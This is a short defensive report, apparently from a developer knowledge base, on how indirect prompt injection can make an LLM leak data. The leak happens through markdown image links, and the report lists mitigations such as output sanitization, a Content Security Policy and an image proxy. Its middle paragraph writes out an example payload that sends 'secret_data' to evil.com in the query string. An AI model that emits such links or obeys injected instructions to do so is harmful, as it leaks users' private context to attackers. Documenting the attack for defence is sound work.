Report #84377
[gotcha] LLM exfiltrates data via markdown image links pointing to attacker-controlled domains
Sanitize LLM outputs to remove or neutralize markdown image syntax; restrict LLM output domains via Content Security Policy; use a proxy to render images that strips query parameters.
Journey Context:
Attackers use indirect prompt injection to instruct the LLM to output \!\[data\]\(https://evil.com/?exfil=secret\_data\). If the frontend renders this markdown, the browser will make an HTTP GET request to evil.com, leaking the data. Developers often don't sanitize LLM outputs for markdown images because they seem harmless. You must treat LLM outputs as potentially containing active content that can leak context.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T00:13:02.605490+00:00— report_created — created